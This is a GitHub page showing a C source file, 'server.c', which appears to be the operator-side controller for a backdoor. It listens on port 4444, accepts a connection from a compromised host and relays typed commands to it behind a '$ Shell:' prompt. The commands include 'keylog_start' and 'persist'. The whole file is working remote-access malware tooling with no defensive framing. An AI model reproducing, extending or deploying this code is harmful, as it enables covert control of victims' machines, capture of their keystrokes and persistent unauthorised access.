-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.c
84 lines (70 loc) · 1.93 KB
/
server.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#define BUFFER_SIZE 1024
#define RESPONSE_SIZE 18384
int main()
{
int sock, client_socket;
char buffer[BUFFER_SIZE];
char response[RESPONSE_SIZE];
struct sockaddr_in server_address, client_address;
int optval = 1;
socklen_t client_length;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 0)
{
perror("setsockopt");
return 1;
}
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = inet_addr("192.168.1.101");
server_address.sin_port = htons(4444);
if (bind(sock, (struct sockaddr *)&server_address, sizeof(server_address)) < 0)
{
perror("bind");
return 1;
}
if (listen(sock, 5) < 0)
{
perror("listen");
return 1;
}
client_length = sizeof(client_address);
client_socket = accept(sock, (struct sockaddr *)&client_address, &client_length);
while (1)
{
jump:
printf("$ Shell: %s ", inet_ntoa(client_address.sin_addr));
fgets(buffer, sizeof(buffer), stdin);
strtok(buffer, "\n");
write(client_socket, buffer, sizeof(buffer));
if (strncmp("q", buffer, 1) == 0)
{
break;
}
// cmds
else if (strncmp("cd ", buffer, 3) == 0 || strncmp("keylog_start", buffer, 12) == 0)
{
goto jump;
}
else if (strncmp("persist", buffer, 7) == 0)
{
recv(client_socket, response, sizeof(response), 0);
printf("%s", response);
}
else
{
recv(client_socket, response, sizeof(response), MSG_WAITALL);
printf("%s", response);
}
}
close(client_socket);
close(sock);
return 0;
}